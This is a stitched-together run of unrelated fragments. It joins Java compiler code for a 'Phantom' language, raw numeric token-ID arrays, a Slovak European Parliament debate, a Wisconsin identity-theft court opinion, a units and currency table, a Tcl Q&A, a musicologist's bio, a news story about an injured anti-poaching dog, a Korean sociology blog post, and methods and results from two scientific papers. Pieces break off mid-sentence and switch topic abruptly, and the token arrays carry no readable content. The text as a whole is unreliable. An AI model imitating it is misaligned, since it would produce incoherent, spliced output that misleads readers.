i1.next(); ArgDefinition ad2 = i2.next(); PhantomType at1 = ad1.getType(); PhantomType at2 = ad2.getType(); if(! at1.equalsEvenUnknown(at2) ) return false; } if (i1.hasNext() \|\| i2.hasNext()) return false; return true; } static String dumpArgs(Method m) { return m.dumpArgs(); } public static boolean isSameReturnType(Method m, Method bm) { return!m.getType().equalsEvenUnknown(bm.getType()); } /* * Check if method has correct arguments if there is method in base class with the same name * @param m * @throws PlcException / protected void checkBaseForMethod(Method m) throws PlcException { if(!have_nonvoid_parent) return; Method bm = parent_class.findMethod(m); if(bm == null) return; if(!isSameArgs(m, bm)) { String ma1 = dumpArgs(m); String ma2 = dumpArgs(bm); throw new PlcException("Method definition", "incompatible args", this.name + "::" + m.getName() + " required ("+ma2+"), have ("+ma1+")"); } if( isSameReturnType(m, bm) ) throw new PlcException("Method definition", "incompatible return type", this.name + "::" + m.getName() + " required ("+bm.getType()+"), have ("+m.getType()+")"); // Here we do it m.setOrdinal(bm.getOrdinal()); } / @Deprecated public Method addMethod(String name, PhantomType type, boolean constructor ) throws PlcException { Method m = mt.add(name, type, constructor ); //check_base_for_method(m); return m; } / public Method addMethod(Method m) throws PlcException { //SootMain.say("adding method "+m); if(isNameUsedAsField(name)) throw new PlcException(getName(), "name is used as field", name); mt.add(m); //check_base_for_method(m); return m; } / public void add_method( String name, PhantomType type, Node args, Node code ) { mt.add(name, type, args, code); } public void add_method( String name, PhantomType type, Node args, Node code, int ordinal ) throws PlcException { mt.add(name, type, args, code, ordinal ); } / protected void check_methods() throws PlcException { mt.set_ordinals(); // TODO double call? Iterator<Method> i = mt.iterator(); while (i.hasNext()) { Method m = i.next(); checkBaseForMethod(m); } } // ------------------------------------------------------------------------ // Static Fields // ------------------------------------------------------------------------ /* * Add a static field to a class. * @param name Name of field. * @param type Type of field. * @throws PlcException / public void addStaticField(String name, PhantomType type) throws PlcException { // TODO parent? staticFieldsTable.add(name, type); } public PhantomField findStaticField(String name) { // TODO parent? return staticFieldsTable.get(name); //PhantomField f = staticFieldsTable.get(name); //if (f!= null)return f; //if (!have_nonvoid_parent)return null; //return parent_class.find_field(name); } // ------------------------------------------------------------------------ // Fields // ------------------------------------------------------------------------ public PhantomField find_field(String name) { PhantomField f = ft.get(name); if (f!= null)return f; if (!have_nonvoid_parent)return null; // TODO parent field visibility? return parent_class.find_field(name); } protected void check_base_for_field(String name, PhantomType type) throws PlcException { if (!have_nonvoid_parent)return; // TODO parent field visibility? //PhantomField f = ft.get(name); PhantomField f = parent_class.find_field(name); if (f == null)return; throw new PlcException("field definition", "there is a field with this name in a base class", this.name + "::" + name); //if(f.get_type()!= type ) throw } /* * Add a field to a class. * @param name Name of field. * @param type Type of field. * @return * @throws PlcException / public PhantomField addField(String name, PhantomType type) throws PlcException { //SootMain.say("add var '"+name+"' type "+type); if(isNameUsedAsMethod(name)) throw new PlcException(getName(), "name is used as method", name); check_base_for_field(name, type); return ft.add(name, type); } /* * used by java class importer * @throws PlcException */ public void setField(int phantomOrdinal, String varName, PhantomType type) throws PlcException { check_base_for_field(name, type); ft.set(phantomOrdinal, name, type); } // ------------------------------------------------------------------------ // Check for name to be used // ------------------------------------------------------------------------ public NameUse isNameUsed(String name) { return new NameUse(ft.get(name)!= null, staticFieldsTable.get(name)!= null, mt.has(name)); } public boolean isNameUsedAsMethod(String name) { return isNameUsed(name).isUsedAsMethod(); } public boolean isNameUsedAsField(String name) { NameUse u = isNameUsed(name); return u.isUsedAsField() \|\| u.isUsedAsStaticField(); } // ------------------------------------------------------------------------ // Interface compliance // ------------------------------------------------------------------------ protected void check_interface_methods_compliance(PhantomClass iface) throws PlcException { Iterator<Method> i = iface.mt.iterator(); while( i.hasNext() ) { Method im = i.next(); // find corresponding my Method
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6645, 15, 12051, 15, 6515, 15, 3015, 898, 3079, 15, 1252, 9, 19, 481, 844, 3662, 436, 1953, 4754, 15, 187, 7307, 374, 15, 346, 35, 647, 3, 310, 1098, 6854, 1031, 2931, 347, 346, 2163, 12745, 2515, 273, 3727, 449, 12051, 15, 6515, 15, 3015, 898, 2090, 15, 2874, 9, 18, 481, 346, 9304, 12745, 3, 2097, 346, 1171, 390, 12600, 281, 2583, 449, 35470, 434, 12245, 475, 31819, 1457, 5625, 26372, 1638, 3011, 14, 3680, 313, 11496, 481, 378, 647, 476, 2882, 273, 7942, 390, 271, 440, 41480, 7286, 5533, 390, 1097, 15, 12051, 15, 6515, 15, 20485, 898, 2090, 15, 2640, 285, 898, 2090, 15, 2941, 15, 496, 2057, 1083, 13, 352, 17209, 347, 247, 830, 273, 6152, 13, 24682, 253, 3257, 434, 1091, 281, 1302, 15, 10022, 13, 247, 3257, 665, 3731, 13759, 684, 1529, 434, 6489, 285, 4648, 352, 1309, 271, 5263, 285, 275, 19590, 10061, 281, 4044, 2406, 19590, 556, 15661, 326, 6489, 281, 4044, 6152, 390, 2583, 13, 390, 1097, 13, 1561, 253, 4495, 273, 253, 6489, 19610, 6645, 15, 12051, 15, 6515, 15, 3015, 898, 3079, 15, 1252, 9, 19, 481, 187, 187, 42, 15, 10601, 33949, 4889, 25717, 1703, 48160, 388, 6905, 15258, 187, 7307, 495, 15, 1623, 4397, 1884, 13, 6585, 13, 253, 2957, 12212, 4750, 387, 247, 33005, 460, 26729, 7381, 4657, 9919, 281, 30054, 28084, 7896, 33603, 15370, 285, 617, 3347, 846, 253, 767, 574, 439, 4488, 2094, 264, 247, 8851, 462, 482, 985, 15, 6408, 253, 31233, 13, 15370, 4197, 247, 3817, 14, 7317, 350, 285, 9919, 281, 8773, 342, 643, 15661, 10229, 15 ]	nové mechanizmy financovania a podobne. V tejto súvislosti by som chcel veľmi naliehavo požiadať Komisiu, aby prehodnotila svoju odpoveď a čoskoro predstavila plán činnosti. Silvia-Adriana Ţicău (RO) Akčný plán pre mestskú mobilitu je nutnosťou pre mestské komunity EÚ. 67 % európskych občanov očakáva, že sa v tejto oblasti vypracuje európska politika. Akú odpoveď môžeme poskytnúť občanom Európy? Náklady vyplývajúce z upchávania mestskej premávky dosahujú približne 1 % európskeho HDP. Na zníženie úrovne znečistenia v mestskom prostredí a upchávania premávky potrebujeme investovať do verejnej dopravy a inteligentných dopravných systémov. Minulý rok sme schválili správu o podpore používania ekologických vozidiel vo verejnej doprave. Praha je hlavným mestom, ktoré ide príkladom tým, že minulý rok nakúpilo ekologické autobusy pre svoj systém mestskej verejnej dopravy, pričom využilo štátnu podporu. Vyzývam Komisiu, aby mestskú mobilitu primerane zvážila aj počas priebežného hodnotenia rámca pre využívanie štrukturálnych fondov. Androulla Vassiliou členka Komisie. - Vážená pani predsedajúca, skutočne si cením vaše príspevky. Určite vyjadrím všetky vaše obavy pánovi podpredsedovi Tajanimu a viem, že sa bude ďalej angažovať. Akčný plán je v skutočnosti súčasťou plánu práce Komisie na rok 2009 a viem, že pán podpredseda Tajani sa osobne angažuje v napredovaní akčného plánu. Preto nepochybujem, že sa bude vážne zaoberať všetkým, čo ste povedali. Viem, že hodnotenie vplyvu bolo ukončené a ako som povedala, akčný plán je v legislatívnom programe a dúfam, že sa tento rok uskutoční. Predsedajúca Rozprava sa skončila. Písomné vyhlásenia (článok 142) Krzysztof Hołowczyc V zelenej knihe z roku 2007 Komisia poukazuje na oprávnenosť rozpravy týkajúcej sa potreby jej angažovania sa v otázke zvyšovania mobility v mestách v rámci Únie na základe princípu subsidiarity. Podľa princípu subsidiarity koná Únia v rámci svojich kompetencií iba vtedy, keď je to nevyhnutné a keď to prináša pridanú hodnotu k činnostiam členských štátov. Cieľom princípu subsidiarity je zabezpečiť, aby sa rozhodovanie uskutočňovalo čo najbližšie k občanovi. Dosahuje sa to neustálou kontrolou oprávnenosti aktivít na úrovni Spoločenstva vo vzťahu k existujúcim možnostiam na národnej, regionálnej alebo miestnej úrovni. Úloha členských štátov týkajúca sa oprávnenosti zapojenia inštitúcii Európskej únie na miestnej úrovni je ďalej posilnená v Lisabonskej zmluve, ktorá je v súčasnosti v etape ratifikácie. V prerokúvanom balíku týkajúcom sa možných opatrení zameraných na zvýšenie úrovne mobility v mestských aglomeráciách je tendencia zaoberať sa inovatívnymi technológiami oddelene od inteligentných dopravných systémov. Synergia medzi týmito dvomi oblasťami by sa mala využiť na ich vzájomné priblíženie v záujme zvýšenia plynulosti premávky na cestách a zvýšenia pohodlia cestovania. Ďalšími výhodami by boli lepšie podmienky cestovania, kratšie cestovné časy, úspory energie, nižšie úrovne emisií, nižšie náklady na riadenie automobilového parku a údržbu a opravu povrchu vozoviek. Zlepšila by sa aj bezpečnosť cestnej premávky. V súvislosti s uvedeným bude základom akčného plánu Komisie pre mestskú mobilitu dokončenie ratifikácie Lisabonskej zmluvy a zavedenie programu českého predsedníctva. Prioritou programu českého predsedníctva je zlepšenie fungovania vnútorného trhu Únie v doprave. 263 Wis.2d 475 (2003) 2003 WI 88 665 N.W.2d 171 STATE of Wisconsin, Plaintiff-Appellant, v. Pamela L. PETERS, Defendant-Respondent. No. 01-3267-CR. Supreme Court of Wisconsin. Oral argument March 5, 2003. Decided July 3, 2003. 477 For the plaintiff-appellant the cause was argued by Sandra L. Nowack, assistant attorney general, with whom on the briefs was Peggy A. Lautenschlager, attorney general. For the defendant-respondent there was a brief (in the court of appeals) by Terry W. Rose and Rose & Rose, Kenosha, and oral argument by Terry W. Rose. ¶ 1. DIANE S. SYKES, J. This case is before the court on certification from the court of appeals on a question of first-impression regarding the scope of Wisconsin's identity theft statute, Wis. Stat. § 943.201 (1999-2000).[1] Specifically, the question is whether a defendant who misappropriates another's identity and uses it during an arrest and in subsequent bail proceedings to obtain lower bail has done so "to obtain credit, money, goods, services or anything else of value" within the meaning of the identity theft statute. Wis. Stat. § 943.201(2). We answer this question yes. ¶ 2. "Bail" is statutorily defined as "monetary conditions of release." Wis. Stat. § 969.001(1). "Monetary" means "of or relating to money." Webster's Third 478 New International Dictionary 1457-58 (1998). Bail can consist of cash or an unsecured appearance bond or both. Wis. Stat. §§ 969.02 and 969.03. In either case, it operates as a form of credit, securing the defendant's return to court. Accordingly, a defendant who misappropriates another's identity and uses it during an arrest and in bail proceedings to obtain lower bail has stolen that identity to obtain credit or money, or both, within the meaning of the identity theft statute. Wis. Stat. § 943.201(2). I. FACTS AND PROCEDURAL HISTORY ¶ 3. On September 30, 2001, the loss prevention staff at a Racine Shopko store attempted to detain Pamela Lynn Peters and her son after the two had shoplifted a videogame system. During the confrontation, Peters produced a box-cutter and attempted to escape with other stolen goods.
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farad coul/volt F farad henry sec2/farad H henry weber volt-sec Wb weber / Light cd candela lumen cd sr lux cd sr/m2 / EMU currencies have constant exchange rate against Euro since 1.1.1999. / See http://en.wikipedia.org/wiki/Euro for details. austriaschilling 1\|13.7603 euro belgiumfranc 1\|40.3399 euro finlandmarkka 1\|5.94573 euro francefranc 1\|6.55957 euro germanymark 1\|1.95583 euro greecedrachma 1\|340.750 euro irelandpunt 1\|0.787564 euro italylira 1\|1936.27 euro luxembourgfranc 1\|40.3399 euro netherlandsguilder 1\|2.20371 euro portugalescudo 1\|200.482 euro spainpeseta 1\|166.386 euro sloveniantolar 1\|239.640 euro cypriotpound 1\|0.585274 euro malteselira 1\|0.429300 euro slovakkoruna 1\|30.1260 euro / These ones are pegged to the Euro / See http://en.wikipedia.org/wiki/Euro for details. bosniaherzegovinamark 1\|1.95583 euro bulgarianlev 1\|1.95583 euro capeverdeanescudo 1\|110.265 euro centralafricancfafranc 1\|655.957 euro comorosfranc 1\|491.96775 euro danishkrone 1\|7.46038 euro estoniakroon 1\|15.6466 euro lithuanianlitas 1\|3.45280 euro pacificfrancexchange 1\|0.00838 euro westafricancfafranc 1\|655.957 euro / These ones are pegged on the US Dollar / See http://en.wikipedia.org/wiki/USD for details. dollar usdollar arubanflorin 1\|1.75 usdollar bahamiandollar 1\|1 usdollar bahrainidinar 1\|0.376 usdollar barbadiandollar 1\|2 usdollar belizedollar 1\|2 usdollar belarusianruble 1\|2135 usdollar bermudiandollar 1\|1 usdollar caymanislandsdollar 1.2 usdollar cubanconvertiblepeso 1.08 usdollar djiboutianfranc 1\|177.721 usdollar eastcaribbeandollar 1\|2.7 usdollar eritreannakfa 1\|15 usdollar hongkongdollar 1\|7.80 usdollar macanesepatacas 1\|1.03 hongkongdollar jordaniandinar 1\|0.709 usdollar lebanesepound 1\|1507.5 usdollar maldivianrufiyaa 1\|12.8 usdollar netherlandsantilleanguilder 1\|1.79 usdollar omanirial 2.6008 usdollar qataririyal 1\|3.64 usdollar saudiriyal 1\|3.75 usdollar unitedarabemiratesdirham 1\|3.6725 usdollar bosniamark bosniaherzegovinamark cfafranc centralafricancfafranc cfpfranc pacificfrancexchange drachma greecedrachma escudo portugalescudo franc francefranc guilder netherlandsguilder herzegovinamark bosniaherzegovinamark hollandguilder netherlandsguilder lira italylira mark germanymark markka finlandmarkka peseta spainpeseta rand southafricarand / computer baud bit/sec nibble 4 bit nybble nibble byte 8 bit word 2 byte block 512 byte kbyte 1024 byte megabyte 1024 kbyte gigabyte 1024 megabyte terabyte 1024 gigabyte petabyte 1024 terabyte exabyte 1024 petabyte zettabyte 1024 exabyte yottabyte 1024 zettabyte kilobyte kbyte meg megabyte / Trivia % 1\|100 abampere 10 ampere admiraltyknot 6080 ft/hr apostilb cd/pi-m2 are 1e+2 m2 asb apostilb arpentcan 27.52 mi arpentlin 191.835 ft astronomicalunit au atmosphere 1.01325e+5 nt/m2 atm atmosphere atomicmassunit 1.66053878283e-27 kg fuzz # year 3.15569259747e7 sec fuzz amu atomicmassunit bag 94 lb bakersdozen 13 bar 1e+5 nt/m2 barie 1e-1 nt/m2 barleycorn 1\|3 in beardsecond 5 nm barn 1e-28 m2 oilbarrel 42 gal barrel oilbarrel barye 1e-1 nt/m2 baryl microbar bev 1e+9 e-volt biot 10 amp blondel cd/pi-m2 boardfoot 144 in3 bolt 40 yd bottommeasure 1\|40 in britishthermalunit 1.05506e+3 joule fuzz btu britishthermalunit refrigeration 12000 btu/ton-hour buck usdollar cable 720 ft caliber 1e-2 in calorie cal carat 205 milligram caratgold 1\|24 cent centidollar cental 100 lb centesimalminute 1e-2 grade centesimalsecond 1e-4 grade century 100 year cfs ft3/sec chain 66 ft circularinch 1\|4 pi-in2 circularmil 1e-6\|4 pi-in2 clusec 1e-8 mm-hg m3/s coomb 4 bu cord 128 ft3 cordfoot cord crith 9.06e-2 gm cubit 18 in cup 1\|2 pt curie 3.7e+10 /sec dalton amu decade 10 yr dioptre /m displacementton 35 ft3 doppelzentner 100 kg dozen 12 drop .03 cm3 dyne cm-gm/sec2 electronvolt e-volt ell 45 in engineerschain 100 ft engineerslink 100\|100 ft equivalentfootcandle lumen/pi-ft2 equivalentlux lumen/pi-m2 equivalentphot cd/pi-cm2 erg cm2-gm/sec2 ev e-volt
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Why would we do this? Well, it ensures that if the file name has Tcl meta-characters in it (e.g., {) then the created script to source the file in won't have any problems at all when evaluated. Why wouldn't you just write source file directly? Well, the most likely cases are where you want to source into a context other than the current one; the source command reads the file into a string and then effectively does an immediate eval on that string (well, there's some nuances, but it's surprisingly close to that). In particular: proc foo {} { source bar.tcl } Will run the contents of bar.tcl inside the procedure body of foo, just as if you'd typed the text in there directly. The variables will be local variables (unless you use global or something like that) and so on. Most people don't write Tcl scripts that like that sort of treatment, frankly; to handle this, and make the code evaluate in a defined context, you'd actually write: proc foo {} { # Quoted to defeat the Stack Overflow syntax highlighter only! uplevel "#0" [list source bar.tcl] } Robert Walser (musicologist) Robert Walser is an American musicologist associated with the "new musicology". He is author of the book Running With the Devil: Power, Gender, and Madness in Heavy Metal Music, concerning heavy metal music. Walser currently is a member of the faculty at Case Western Reserve University. Walser has also served as an expert witness for over 250 music copyright infringement cases, generally reserved to the Ninth Circuit. His big success came from a broad statement of support from Circuit Judge William C. Canby, Jr., who fully supported Dr. Walser's methodology, despite the less-than-appropriate credibility that Dr. Walser received via District Judge Christina A. Snyder {see Swirsky v. Carey, 226 F. Supp. 2d 1224 (C.D. Cal. 2002). Walser is married to musicologist Susan McClary. Publications Running With the Devil: Power, Gender, and Madness in Heavy Metal Music (Wesleyan University Press, 1993, ). Second edition, revised and expanded, 2014. (ed.) Keeping Time. Readings in Jazz History (OUP, 1999) 2. Second edition, revised and expanded, 2014. (ed.) The Christopher Small Reader (Wesleyan University Press, 2016). Valuing Jazz, in The Cambridge Companion to Jazz, ed. David Horn and Mervyn Cooke (Cambridge: Cambridge University Press, 2002), pp. 301-320. Analyzing Popular Music: Ten Apothegms and Four Instances, in Allan Moore, ed., The Analysis of Popular Music (Cambridge: Cambridge University Press, 2003), pp. 16-38. Deep Jazz: Notes on Interiority, Race, and Criticism, in Inventing the Psychological: Toward a Cultural History of Emotional Life in America, ed. Joel Pfister and Nancy Schnog (Yale University Press, 1997), pp. 271-96. Out of Notes: Signification, Interpretation, and the Problem of Miles Davis, Musical Quarterly 77:2 (Summer 1993), pp. 343-65. Rhythm, Rhyme, and Rhetoric in the Music of Public Enemy, Ethnomusicology 39:2 (Spring-Summer 1995), 193-217. Prince as Queer Poststructuralist, Popular Music and Society 18:2 (Summer 1994), 87-98. References External links Walser's Bio, from the CWRU Department of Music Robert Walser: "Review Essay: Polka Happiness, by Charles Keil, Angeliki Keil, and Dick Blau, and A Passion for Polka: Old-Time Ethnic Music in America, by Victor Greene," American Music 12:3 (Fall 1994), pp. 322–27. Category:American musicologists Category:Case Western Reserve University faculty Category:Year of birth missing (living people) Category:Living people Category:Place of birth missing (living people)A badly injured anti--poaching dog is stealing people's hearts on social media after an altercation with a lion. Akita, an eight-year-old Malinois dog, has been with SANParks' anti-poaching dog unit since 2012, Beeld reported on Tuesday. On Saturday, Johan de Beer, kennel master at the Kruger National Park canine unit, posted pictures of a battered Akita on the Facebook group "SANParks KNP RANGER DOGS", showing her many scars and stitches. She had reportedly been chased down by a lion three weeks ago and badly bitten. De Beer said Akita was a "cheeky dog" that was fearless when it came to wild animals. This was not Akita's first injury while on the job, though. In March last year, Akita was on the wrong end of a kudu's horn. According to The Lowvelder, while out on patrol near Letaba, Akita was charged by a kudu and impaled. Akita's chest was reportedly torn open by the kudu's horn. She was airlifted to Mbombela, where she was successfully treated. Akita was widely praised on Facebook. Bridget Lupton commented: "Wow. Brave dog!" Abel Lugar said: "Well done. Amazing dog! Thank you." "Oh my goodness, poor Akita. She's one brave and tenacious girl," Gemma Thompson said. Others felt that Akita had done enough and should "retire". Jeremy Walker wrote: "Amazing that she survived this. Will she be able to retire now? I don't think she should be put at risk of this happening again." "She's done her service, time to retire now to a good home where she will be loved and taken care of for the rest of her days," said Nic Theunissen. "The dogs are contributing a huge success to catching poachers," De Beer told AFP in 2015. Source: News24Korean Feminism, Sexuality, and Popular Culture Menu Korean Sociological Image #14: How And Why Koreans Became The World’s Greatest Consumers If you’re reading this, then the news that Koreans now spend more and save less than Americans may well come as a bombshell. I base that on the assumption that, as an English speaker interested in Korean sociology, most of your earliest and most-deeply held views on the subject were likely gained from English books. Nothing wrong with that of course, but in a society as rapidly changing as Korea, these can get dated rather quickly. In turn, if one’s original views are not regularly updated by practical experience of the country and/or Korean-language sources, then they can easily become ossified. Alternatively, they can become hostage to those Koreans with English skills, whom — with no offense intended to the Korean journalists I very much rely on as a blogger — are generally well educated and more affluent than average Koreans, and undoubtedly have class-based agendas to the ways they present Korea to the outside world. I realize that I’m very much projecting here. But then so fundamental has Korean’s high savings rate been to its postwar economic development, that I’d wager most readers shared my image of Koreans as relatively frugal (as a whole), either by reading that explicitly for themselves or by inferring it from other aspects of Korean sociology. Indeed, this ostensibly dry economic factoid had a profoundly gendered impact in the Korean context. With apologies for the following necessarily simplistic account, a high savings rate was the natural consequence of the fact that, until the Asian Financial Crisis of 1997-1998, Korea had the most “salarymen” in the world (despite the term being associated more with Japan). As salarymen generally worked at the same company for most of their lives, and made enough of an income and side-benefits to provide for their wives and children, then there was only a minimal welfare state to provide for them should the need arise: hence, these savings provided the safety net that the state didn’t (as well as investment funds for Korean business). Which brings us to the graph on the right, which shows that the books were not wrong. It would have been very difficult for historiography to have caught up with the massive drop in 1999 however, which the Washington Post article describes as “the steepest savings decline in the developed world.” In hindsight though, somehow Korean society had to pay for its huge transition from having the most salarymen in the world in 1997 to having the most irregular, part-time workers in the OECD less than a decade later. And the money certainly wasn’t obtained by women entering the workforce either, as despite having the lowest rate of women’s participation in the workforce in the OECD in 1997 – so the potential certainly existed – it has resolutely stayed at the same level ever since (see here and #2 here), not unexpected given that women were explicitly targeted for lay-offs as part of the economic recovery. But this process of “housewifization” is the natural corollary
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3072, 369, 18705, 5086, 313, 1047, 2255, 313, 1508, 2673, 285, 7543, 1821, 313, 2357, 2673, 481, 28270, 14, 17182, 1363, 313, 3046, 2673, 574, 30248, 285, 2164, 1363, 313, 1867, 2673, 574, 31920, 894, 12382, 15, 2596, 3110, 313, 19, 2673, 574, 271, 3807, 7413, 4215, 12382, 15, 7214 ]	ITC (LT20), anti-CD56-FITC (REA136) and anti-HLA-DR-Vioblue (AC122) were purchased from Miltenyi Biotec. Anti-CD14-PerCP-eFluor700 (61D3) and anti-PD-L1-APC (MIH1) were purchased from eBiosciences. Leucocyte population identification and numeration {#S0003-S2002} -------------------------------------------------- For leucocyte identification by flow cytometry, whole blood removed to heparinized tubes (100 µL) was stained with different antibody cocktails for 15 min at room temperature. After surface staining, 2 mL of red blood cell lysis solution (BD Biosciences) was added for 10 min, centrifuged (350 g, 5 min), and then resuspended in flow cytometry buffer (eBioscience). Foxp3 staining was carried out according to the manufacturer's protocol using the fixation/permeabilization solution (eBioscience). All events were acquired on a BD LSR-II cytometer equipped with BD FACSDiva software (BD Biosciences), and data were analyzed using FlowJo software (Tree Star). The gating strategy is described in Supplementary [Figures 1--4](#F0001). For myeloid cells, gated on CD14^+^ CD15^+^ cells we select monocytes which are positive for HLA-DR and CD33 as monocytic MDSC (mMDSC), CD14^+^ CD15^+^ CD33^+^ HLA-DR^−^ were considered as granulocytic MDSC (gMDSC). CD15^+^ CD14^−^ are considered as granulocytes. For dendritic cells we select CD14^−^ CD15^−^ HLA-DR^+^ cells. Based on CD11c and CD123 labeling CD11c^+^ CD123^−^ are considered as type 1 classical dendritic cell population (DC1), CD11c^+^ CD123^int^ as type 2 classical dendritic cell population (DC2) and CD123^+^ CD11c^−^ as plasmacytoid dendritic cells (pDC).^[14](#CIT0014)^ For T cells, subpopulations were classically defined using CD45RA and CCR7 labeling. CD45RA^+^ CCR7^+^ were considered as naïve cells, CD45RA^+^ CCR7^−^ as effector memory RA cells (EMRA), CD45RA^low^ CCR7^−^ as intermediate EMRA, CD45RA^−^ CCR7^−^ as effector memory cells and CD45RA^−^ CCR7^+^ as central memory cells.^[15](#CIT0015)^ Helper T subsets were defined using chemokine receptor labeling. CCR6^+^ CXCR3^−^ cells were considered as Th17 cells, CCR6^+^ CXCR3^+^ cells as Th17-Th1 hybrid phenotype and CCR6^−^ CXCR3^+^ as Th1 cells. CCR6^−^ CXCR3^−^ CRTH2^+^ cells were considered as Th2 cells.^[16](#CIT0016)^ Cells with CD45RA^+^ labeling were considered as effector cells and called eTh and CD45RA^−^ were considered as memory cells and called mTh. Regulatory T cells (Treg) were characterized upon CD25^+^ and intracellular Foxp3 labeling. Human NK cells can be divided into two subsets based on their cell-surface density of CD56^--^CD56^bright^ and CD56^dim^, each with distinct phenotypic properties. The CD56^dim^ NK-cell subset is more naturally cytotoxic and expresses higher levels of CD16 than the CD56^bright^ NK-cell subset. By contrast, the CD56^bright^ subset has the capacity to produce abundant cytokines following activation but has low natural cytotoxicity.^[17](#CIT0017)^ In vitro human experiments {#S0004} ============================ PBMC culture {#S0004-S2001} ------------ Human PBMCs were first enriched from cancer patient blood using a separation gradient on a lymphocyte separation medium (Eurobio). After isolation, a small part of PBMCs (0.1.10^6^ cells) was stained to quantify by flow cytometry the expression of Tim-3, PD-1 and PD-L1, galectin-9 on CD8 T cells and mMDSC. Surface staining was carried out with the following antibodies for 15 min at room temperature in the dark. For T CD8 analysis, anti-CD8-VioGreen (BW135/80), anti-anti-CD3-VioBlue (BW264/56) and anti-Tim-3-FITC (F38-3E2) were purchased from Miltenyi Biotec. Anti-PD-1-PerCP-eFluor700 (MIH4) was purchased from eBioscience. For myeloid population analysis, anti-CD33-APC-Vio770 (AC104.3E3), anti-Galectin-9-PE-Vio770 (RG9-35.7), anti-CD3-FITC (BW264/56), anti-CD19-FITC (LT19), anti-CD20-FITC (LT20), anti-CD56-FITC (REA136) and anti-HLA-DR-Vioblue (AC122) were purchased from Miltenyi Biotec. Anti-CD14-Krome Orange (RMO52) and anti-PD-L1-APC (PD-L1) were purchased from Beckman Coulter. All events were acquired by a CytoFlex cytometer equipped with CytExpert software (Beckman Coulter), and data were analyzed using CytExpert software. The rest of the PBMC (0.25.10^6^ cells/well) were stimulated with plate-bound antibodies against CD3 (OKT3, 0,5 µg/mL, BioXcell) with or without anti-PD-1 (Nivolumab, 10 µg/mL) or anti-Tim-3 (Fisher Scientific, F38-2E2, 10 µg/mL) in 96-well plate flat bottom. Cells were classically harvested on day five (unless otherwise specified) for detection of cytokines by ELISA and surface staining analysis. Measurement of cytokines {#S0004-S2002} ------------------------ After 5 days of culture, cell culture supernatants were assessed by ELISA for human TNFα and IFNγ (BioLegend) according to the manufacturer's protocol. Statistical methods {#S0004-S2003} ------------------- Data analysis was performed using the statistical software R (<http://www.R-project.org/>) and representations were made with Prism 7 (GraphPad, San Diego, CA, USA). Progression-free survival (PFS) was defined as the time from the first day of treatment to the first recorded evidence of disease progression by the RECIST criteria, clinical evaluation or death. Survivors were censored after 6 months. Overall survival (OS) was calculated as the time from the date of the nivolumab treatment start to the date of death and censored after 24 months. Each distribution of absolute counts of subpopulations of cells between patients and healthy volunteers were compared with Wilcoxon rank-sum test and all boxplots were drawn with median, quartiles and Tukey's whiskers. The distributions of proportions of immunosuppressive markers were compared using the test for the comparison of multicomponent distributions and pie charts were drawn based on the recommendation for graphical display, both developed in SPICE software.^[18](#CIT0018)^ Univariate Cox proportional hazards models of all clinical and biological variables at baseline and at D15 were built to compute hazard ratios (HRs) with their 95% confidence intervals (CI). Survival curves were estimated using the Kaplan--Meier method and compared using log-rank tests. Median follow-up was calculated using the reverse Kaplan-Meier method or noted NR (Not Reached), as appropriate. The CoxBoost algorithm was used to fit a multivariate model. This algorithm is particularly adapted to the high dimensional setting where there are more variables than observations and fits a Cox proportional hazards model by component-wise likelihood-based boosting. It allows the selection of variables that are the most associated with survival. The model was estimated using the CoxBoost^[19](#CIT0019)^ R package. A score was then computed for each patient based on the linear predictor estimated by the model. A Receiver Operating characteristic (ROC) curve was plotted with the corresponding estimated linear predictor, and the threshold corresponding to the point nearest the upper left corner (best compromise between sensitivity and specificity) was chosen. The same model was applied to data at D15 without re-estimating the coefficients, and the same threshold was also applied to the resulting linear predictor. Results {#S0005} ======= T cell number and activation markers discriminate lung cancer patients from healthy volunteers {#S0005-S2001} ---------------------------------------------------------------------------------------------- We first determined whether blood immune parameters could discriminate metastatic NSCLC from healthy volunteers. To do this we analyze 61 consecutive metastatic NSCLC patients before the introduction of nivolumab, as well as 12 sex- and age-matched healthy controls. We characterized the absolute number, frequency and mean fluorescence intensity (MFI) of various blood lymphoid and myeloid cells (Supplementary Figures 1--4 for gating strategy and Supplementary Table 1 for the list of immune subpopulations and markers). We analyzed 25 myeloid and 151 lymphoid variables, focusing on activation and differentiation markers. The demographic and histopathologic characteristics of this cohort are described in [Table 1](#T0001). The median age was 66 years. The population was predominantly male (14 women (23%) and 47 men (77%)). Thirty-six patients (59%) had adenocarcinoma and 24 patients (39%) had squamous cell carcinoma. One patient (2%) had an undifferentiated carcinoma. Only
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4261, 271, 475, 38, 11, 1318, 4398, 18, 70, 6006, 740, 63, 323, 12667, 2313, 575, 12303, 481, 733, 556, 4102, 644, 5125, 326, 6581, 3417, 12129, 432, 1016, 643, 407, 19481, 2222, 6, 18379, 6489, 1254, 1311, 1449, 1184, 3021, 253, 5020 ]	ably with contig length, but within size classes, they did not appreciably differ between 10, 50, and 90% viral samples tested (\<8% for 500--1000 bp and \<5% for all other size classes). To make fair comparisons across scores predicted using different models trained using contigs of different lengths, VirFinder p values rather than VirFinder scores were used for generating ROC curves and corresponding AUROC scores. The AUROC scores using p values were 0.90--0.93 for contig \>500 bp and 0.92--0.95 for contig \>1000 bp. AUPRC results showed increasing values with increased proportion of viral contigs present in the sequences being tested (Additional file [1](#MOESM1){ref-type="media"}: Figure S4).Fig. 4Results for VirFinder predictions made on contigs assembled from simulated human gut metagenomes. a The ROC curves and AUROC scores for results from 3 size classes of assembled contigs (20 million read simulated metagnome, 10% viral community). b The effects of sequencing depth, viral fraction, and contig length on prediction performance. Bars shown mean AUROC scores and error bars depict standard error evaluated for 30 bootstrap samples VirFinder and VirSorter's TPRs were next compared using assembled contigs from simulated 20 million read metagenomes. TPRs were compared at the same FPRs levels as found for VirSorter considering various VirSorter category results (I, "most confident; II, "likely", III, "possible"). VirFinder correctly identified more viral contigs than VirSorter at all ranges of contig lengths and for all three combinations of VirSorter categories used when tested with samples with equal numbers of viral and host contigs (Fig. [5a](#Fig5){ref-type="fig"}). As before, use of 30 replicate bootstrap samples showed that these differences were statistically significant (p ≤ 10^−5^, Wilcoxon signed-rank one-sided test). VirSorter identified almost no viral contigs of 500--1000 bp viral contigs at the 3 category combinations used (I, I and II, and I--III) (TPRs were 0, 0.2, and 0.5%, respectively). At the same FPRs levels as VirSorter, VirFinder successfully identified 5.9, 5.9, and 6.0% true 500--1000 bp viral contigs for the 3 VirSorter category combinations, respectively, which are undefined (VirSorter TPR was 0%), 30 and 13 times higher than VirSorter's TPRs. For contig lengths 1000--3000 and \>3000 bp, both methods had higher TPRs. VirSorter's TPRs were 2.5 